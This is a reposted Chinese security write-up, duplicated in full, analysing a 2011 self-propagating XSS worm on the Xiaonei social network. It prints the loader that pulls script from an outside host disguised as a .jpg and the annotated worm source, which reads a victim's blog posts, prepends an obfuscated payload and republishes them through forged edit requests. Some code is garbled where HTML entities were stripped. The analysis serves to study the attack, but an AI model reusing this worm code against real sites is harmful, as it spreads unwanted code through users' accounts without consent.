校内网XSS WORM分析
2011年11月26日
[[转]校内网XSS WORM分析 全文]
文章作者:langouster
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页
有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。
以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调
回来就变成以下内容:
set s=document.createElement("script")
s.src=http://www.sosoface.com/images/xnjs.jpg
document.getElementById("mya113").parentNode.insertBefore
s,document.getElementById("mya113")
在这段脚本中它又新建了一个script,它的src指向
http://www.sosoface.com/images/xnjs.jpg
...
%E5%90%8E%E7%BC%80%EF%BC%89%EF%BC%8C%E4%B8%8B%E8%BD%BD%E5%8A%A0%E8%BF%99%E4%
B8%AA%E2%80%9Cjpg%E2%80%9D%E7%94%A8%E8%AE%B0%E4%BA%8B%E5%92%8CUE%E6%89%93%E5
%BC%80%E9%83%BD%E5%8F%91%E7%8E%B0%E5%AE%83%E5%A1%AB%E5%85%85%E4%BA%86%E5%A4%
A7%E9%87%8F%E7%9A%84asc%E7%9A%8400%EF%BC%88%E7%9C%9F%E4%B8%8D%E6%95%A2%E7%9B
%B8%E4%BF%A1%E5%A1%AB%E5%85%85%E4%BA%86%E9%82%A3%E4%B9%88%E5%A4%9A00> (别相
信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢
相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后
花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
值 得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的
代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长 统
计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下
sosoface,还是看到这个网站的流量图:
http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com
&r=1192875678218
从 图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数
从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次考虑到一个 人可能访问多
个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫
应该是被校内的人发现了,一夜之间全部消失了。 Sosoface也被停了。
下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。
看时从最底下的start函数看起:
var req = null;
var step=null;
var DiaryMonthUrlList="",DiaryUrlList="";
var timer=null;
var bIsBusy=false;
var
myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.4
7.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117
.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106
.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33
.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119
.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.9
6.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.3
5.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.
60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.
61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60
.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.10
2.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.11
3.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.4
4.46.61.115.44";
function my_HtmlDecode(str)
{
str=str.replace(//g,">");
str=str.replace(/&/g,"&");
str=str.replace(/ /g," ");
str=str.replace(/"/g,"\"");
str=str.replace(/
/g,"\n");
str=str.replace(/#/g,"#");
str=str.replace(/(/g,"(");
str=str.replace(/)/g,")");
str=str.replace(/"/g,"\"");
str=str.replace(/''/g,"''");
str=str.replace(/#/g,"#");
str=str.replace(/(/g,"(");
str=str.replace(/)/g,")");
str=str.replace(/"/g,"\"");
str=str.replace(/''/g,"''");
return str;
}
function processReqChange()
{
if (req.readyState == 4 && req.status == 200 )
{
if("WriteIframe"==step)
{
var text,len,i=0,j=0,temp;
text=req.responseText;
i=text.indexOf("",0);
if(-1==i){return}
i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);
if(-1==i){return}
j=text.indexOf("\"",i);
if(-1==j){return}
text=text.substring(i,j);
document.getElementById("mya113").style.background="#FFFFFF";
var s=document.createElement("iframe");
s.frameborder="0";
s.height="0";
s.width="1";
s.src=text;
document.getElementById("mya113").parentNode.insertBefore(s,document.getElem
entById("mya113"));
}
else if("GetDiaryMonthList"==step)
{
var text,len,i=0,j=0,temp;
//text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”
中的每一个链接,保存到DiaryMonthUrlList中
//然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表
text=req.responseText;
i=text.indexOf("",0);
if(-1==i){return}
j=text.indexOf("",i);
if(-1==j){return}
text=text.substring(i,j);
i=j=0;
while(1)
{
i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);
if(-1==i)break;
j=text.indexOf("''>",i);
if(-1==j)break;
temp=text.substring(i,j);
i+=temp.length;
temp=my_HtmlDecode(temp)+"|";
DiaryMonthUrlList+=temp;
}
if(DiaryMonthUrlList.length");
if(-1==i)
{
req=null;
bIsBusy=false;
return;
}
j=text.indexOf("",i);
if(-1==j)
{
req=null;
bIsBusy=false;
return;
}
text=text.substring(i,j);
i=j=0;
while(1)
{
j=0;
len=0;
j=DiaryUrlList.indexOf("|",j);
while(j!=-1)
{
j++;
len++;
j=DiaryUrlList.indexOf("|",j);
}
if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
{
break;
}
i=text.indexOf(text2,i);
if(-1==i)
{
break;
}
i+=text2.length;
j=text.indexOf("\">",i);
if(-1==j || j-i>10)
{
break;
}
temp=text2+text.substring(i,j)+"|";
DiaryUrlList+=temp;
}
req=null;
bIsBusy=false;
}
else if("GetDiaryText"==step)
{
var text,len,i,j;
var argv;
var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;
text=req.responseText;
//这个模块模拟用户编辑日志,在每篇日志的开关都加上
//
i=text.indexOf(" "",0);
if(-1==i)
{
return;
}
i+=53;
j=text.indexOf("",i);
if(-1==j)
{
return;
}
text=text.substring(i,j);
//------------------------
i=text.indexOf("id=\"title\" class=\"inputtext\" tabindex=\"1\"
value=\"",0);
if(-1==i)return;
i+=49;
j=text.indexOf("\" />",i);
if(-1==j)return;
title=text.substring(i,j);
//---
i=text.indexOf("",0);
if(-1==i)return;
i+=65;
j=text.indexOf("",i);
if(-1==j)return;
body=text.substring(i,j);
//---
i=text.indexOf("id=\"blog_pic_id\" value=\"",0);
if(-1==i)return;
i+=24;
j=text.indexOf("\" />",i);
if(-1==j)return;
blog_pic_id=text.substring(i,j);
//---
i=text.indexOf("id=\"pic_path\" value=\"",0);
if(-1==i)return;
i+=21;
j=text.indexOf("\" />",i);
if(-1==j)return;
pic_path=text.substring(i,j);
//---
i=text.indexOf("name=\"id\" value=\"",0);
if(-1==i)return;
i+=17;
j=text.indexOf("\" />",i);
if(-1==j)return;
Diaryid=text.substring(i,j);
//---
i=text.indexOf("\" selected=\"selected\"",0);
if(-1==i)return;
j=i-2;
if(text.substr(j,1)=="\"")
j++;
blogControl=text.substring(j,i);
body=my_HtmlDecode(body);
if(body.indexOf("mya113",0)>=0)//已经感染过,不再感染
{
req=null;
step="GetDiaryText";
bIsBusy=false;
return;
}
else
{
;
}
//以上是取日志的各个变量信息
//以下开头就感染日志并修改
body=MyDecode(myrand)+body;
//感染日志 在日志的开头加上跨站代码
//MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量
中,程序开头的一长串数据就是
//以下开始POST提交修改过的日志
argv="\r\n";
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"title\"\r\n\r\n";
argv+=(title+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"body\"\r\n\r\n";
argv+=(body+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"theFile\"; filename=\"\"\r\nContent-Type:
application/octet-stream\r\n\r\n\r\n";
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"blog_pic_id\"\r\n\r\n";
argv+=(blog_pic_id+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"pic_path\"\r\n\r\n";
argv+=(pic_path+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"blogControl\"\r\n\r\n";
argv+=(blogControl+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"id\"\r\n\r\n";
argv+=(Diaryid+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"relative_optype\"\r\n\r\n";
argv+=("publisher"+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"del_relative_id\"\r\n\r\n\r\n";
argv+="-----------------------------7d71861cb014c--\r\n";
req=null;
step="EditDiaryText";
loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);
}
else if("EditDiaryText"==step)
{
req=null;
bIsBusy=false;
step="GetDiaryText";
}
else
{
;
}
}
}
function MyDecode(str)
{
var i,k,str2="";
k=str.split(".");
for(i=0;i",0);
if(-1==i)
return str;
i+=4;
str=str.substring(i,str.length);
return str;
}
function EditorSubmit()
{
var ret=false;
parent.parent.descOptype();
ret=parent.parent.beforeSubmit();
parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteS
cript(parent.parent.document.getElementById("body").value);
return ret;
}
function Start()
{
//判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的
if("blog.xiaonei.com"==document.domain)
{
//如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写
了一遍,不知道为什么这样做
if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)
{
parent.parent.document.getElementById("editorForm").οnsubmit=EditorSubmit;
}
else
{
WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手
//下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档
step="GetDiaryMonthList";
loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一个ajax读
取页面内容的函数
//下面跳到开头的processReqChange函数
}
}
else if("xiaonei.com"==document.domain ||
"www.xiaonei.com"==document.domain)
{
//如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
//这个URL是blog.xiaonei.com域的,就变向的实现了跨域,
//作者这样做应该是为了一访问别人的主页就能感染
var url="";
url=document.location.toString();
if(url.indexOf("&")==-1)
return;
step="WriteIframe";
loadUrl(url,"GET","");
}
}
Start();
2011年11月26日
[[转]校内网XSS WORM分析 全文]
文章作者:langouster
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页
有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。
以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调
回来就变成以下内容:
set s=document.createElement("script")
s.src=http://www.sosoface.com/images/xnjs.jpg
document.getElementById("mya113").parentNode.insertBefore
s,document.getElementById("mya113")
在这段脚本中它又新建了一个script,它的src指向
http://www.sosoface.com/images/xnjs.jpg
...
%E5%90%8E%E7%BC%80%EF%BC%89%EF%BC%8C%E4%B8%8B%E8%BD%BD%E5%8A%A0%E8%BF%99%E4%
B8%AA%E2%80%9Cjpg%E2%80%9D%E7%94%A8%E8%AE%B0%E4%BA%8B%E5%92%8CUE%E6%89%93%E5
%BC%80%E9%83%BD%E5%8F%91%E7%8E%B0%E5%AE%83%E5%A1%AB%E5%85%85%E4%BA%86%E5%A4%
A7%E9%87%8F%E7%9A%84asc%E7%9A%8400%EF%BC%88%E7%9C%9F%E4%B8%8D%E6%95%A2%E7%9B
%B8%E4%BF%A1%E5%A1%AB%E5%85%85%E4%BA%86%E9%82%A3%E4%B9%88%E5%A4%9A00> (别相
信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢
相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后
花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
值 得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的
代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长 统
计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下
sosoface,还是看到这个网站的流量图:
http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com
&r=1192875678218
从 图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数
从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次考虑到一个 人可能访问多
个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫
应该是被校内的人发现了,一夜之间全部消失了。 Sosoface也被停了。
下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。
看时从最底下的start函数看起:
var req = null;
var step=null;
var DiaryMonthUrlList="",DiaryUrlList="";
var timer=null;
var bIsBusy=false;
var
myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.4
7.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117
.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106
.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33
.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119
.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.9
6.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.3
5.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.
60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.
61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60
.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.10
2.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.11
3.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.4
4.46.61.115.44";
function my_HtmlDecode(str)
{
str=str.replace(//g,">");
str=str.replace(/&/g,"&");
str=str.replace(/ /g," ");
str=str.replace(/"/g,"\"");
str=str.replace(/
/g,"\n");
str=str.replace(/#/g,"#");
str=str.replace(/(/g,"(");
str=str.replace(/)/g,")");
str=str.replace(/"/g,"\"");
str=str.replace(/''/g,"''");
str=str.replace(/#/g,"#");
str=str.replace(/(/g,"(");
str=str.replace(/)/g,")");
str=str.replace(/"/g,"\"");
str=str.replace(/''/g,"''");
return str;
}
function processReqChange()
{
if (req.readyState == 4 && req.status == 200 )
{
if("WriteIframe"==step)
{
var text,len,i=0,j=0,temp;
text=req.responseText;
i=text.indexOf("",0);
if(-1==i){return}
i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);
if(-1==i){return}
j=text.indexOf("\"",i);
if(-1==j){return}
text=text.substring(i,j);
document.getElementById("mya113").style.background="#FFFFFF";
var s=document.createElement("iframe");
s.frameborder="0";
s.height="0";
s.width="1";
s.src=text;
document.getElementById("mya113").parentNode.insertBefore(s,document.getElem
entById("mya113"));
}
else if("GetDiaryMonthList"==step)
{
var text,len,i=0,j=0,temp;
//text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”
中的每一个链接,保存到DiaryMonthUrlList中
//然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表
text=req.responseText;
i=text.indexOf("",0);
if(-1==i){return}
j=text.indexOf("",i);
if(-1==j){return}
text=text.substring(i,j);
i=j=0;
while(1)
{
i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);
if(-1==i)break;
j=text.indexOf("''>",i);
if(-1==j)break;
temp=text.substring(i,j);
i+=temp.length;
temp=my_HtmlDecode(temp)+"|";
DiaryMonthUrlList+=temp;
}
if(DiaryMonthUrlList.length");
if(-1==i)
{
req=null;
bIsBusy=false;
return;
}
j=text.indexOf("",i);
if(-1==j)
{
req=null;
bIsBusy=false;
return;
}
text=text.substring(i,j);
i=j=0;
while(1)
{
j=0;
len=0;
j=DiaryUrlList.indexOf("|",j);
while(j!=-1)
{
j++;
len++;
j=DiaryUrlList.indexOf("|",j);
}
if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
{
break;
}
i=text.indexOf(text2,i);
if(-1==i)
{
break;
}
i+=text2.length;
j=text.indexOf("\">",i);
if(-1==j || j-i>10)
{
break;
}
temp=text2+text.substring(i,j)+"|";
DiaryUrlList+=temp;
}
req=null;
bIsBusy=false;
}
else if("GetDiaryText"==step)
{
var text,len,i,j;
var argv;
var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;
text=req.responseText;
//这个模块模拟用户编辑日志,在每篇日志的开关都加上
//
i=text.indexOf(" "",0);
if(-1==i)
{
return;
}
i+=53;
j=text.indexOf("",i);
if(-1==j)
{
return;
}
text=text.substring(i,j);
//------------------------
i=text.indexOf("id=\"title\" class=\"inputtext\" tabindex=\"1\"
value=\"",0);
if(-1==i)return;
i+=49;
j=text.indexOf("\" />",i);
if(-1==j)return;
title=text.substring(i,j);
//---
i=text.indexOf("",0);
if(-1==i)return;
i+=65;
j=text.indexOf("",i);
if(-1==j)return;
body=text.substring(i,j);
//---
i=text.indexOf("id=\"blog_pic_id\" value=\"",0);
if(-1==i)return;
i+=24;
j=text.indexOf("\" />",i);
if(-1==j)return;
blog_pic_id=text.substring(i,j);
//---
i=text.indexOf("id=\"pic_path\" value=\"",0);
if(-1==i)return;
i+=21;
j=text.indexOf("\" />",i);
if(-1==j)return;
pic_path=text.substring(i,j);
//---
i=text.indexOf("name=\"id\" value=\"",0);
if(-1==i)return;
i+=17;
j=text.indexOf("\" />",i);
if(-1==j)return;
Diaryid=text.substring(i,j);
//---
i=text.indexOf("\" selected=\"selected\"",0);
if(-1==i)return;
j=i-2;
if(text.substr(j,1)=="\"")
j++;
blogControl=text.substring(j,i);
body=my_HtmlDecode(body);
if(body.indexOf("mya113",0)>=0)//已经感染过,不再感染
{
req=null;
step="GetDiaryText";
bIsBusy=false;
return;
}
else
{
;
}
//以上是取日志的各个变量信息
//以下开头就感染日志并修改
body=MyDecode(myrand)+body;
//感染日志 在日志的开头加上跨站代码
//MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量
中,程序开头的一长串数据就是
//以下开始POST提交修改过的日志
argv="\r\n";
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"title\"\r\n\r\n";
argv+=(title+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"body\"\r\n\r\n";
argv+=(body+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"theFile\"; filename=\"\"\r\nContent-Type:
application/octet-stream\r\n\r\n\r\n";
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"blog_pic_id\"\r\n\r\n";
argv+=(blog_pic_id+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"pic_path\"\r\n\r\n";
argv+=(pic_path+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"blogControl\"\r\n\r\n";
argv+=(blogControl+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"id\"\r\n\r\n";
argv+=(Diaryid+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"relative_optype\"\r\n\r\n";
argv+=("publisher"+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition:
form-data; name=\"del_relative_id\"\r\n\r\n\r\n";
argv+="-----------------------------7d71861cb014c--\r\n";
req=null;
step="EditDiaryText";
loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);
}
else if("EditDiaryText"==step)
{
req=null;
bIsBusy=false;
step="GetDiaryText";
}
else
{
;
}
}
}
function MyDecode(str)
{
var i,k,str2="";
k=str.split(".");
for(i=0;i",0);
if(-1==i)
return str;
i+=4;
str=str.substring(i,str.length);
return str;
}
function EditorSubmit()
{
var ret=false;
parent.parent.descOptype();
ret=parent.parent.beforeSubmit();
parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteS
cript(parent.parent.document.getElementById("body").value);
return ret;
}
function Start()
{
//判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的
if("blog.xiaonei.com"==document.domain)
{
//如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写
了一遍,不知道为什么这样做
if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)
{
parent.parent.document.getElementById("editorForm").οnsubmit=EditorSubmit;
}
else
{
WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手
//下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档
step="GetDiaryMonthList";
loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一个ajax读
取页面内容的函数
//下面跳到开头的processReqChange函数
}
}
else if("xiaonei.com"==document.domain ||
"www.xiaonei.com"==document.domain)
{
//如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
//这个URL是blog.xiaonei.com域的,就变向的实现了跨域,
//作者这样做应该是为了一访问别人的主页就能感染
var url="";
url=document.location.toString();
if(url.indexOf("&")==-1)
return;
step="WriteIframe";
loadUrl(url,"GET","");
}
}
Start();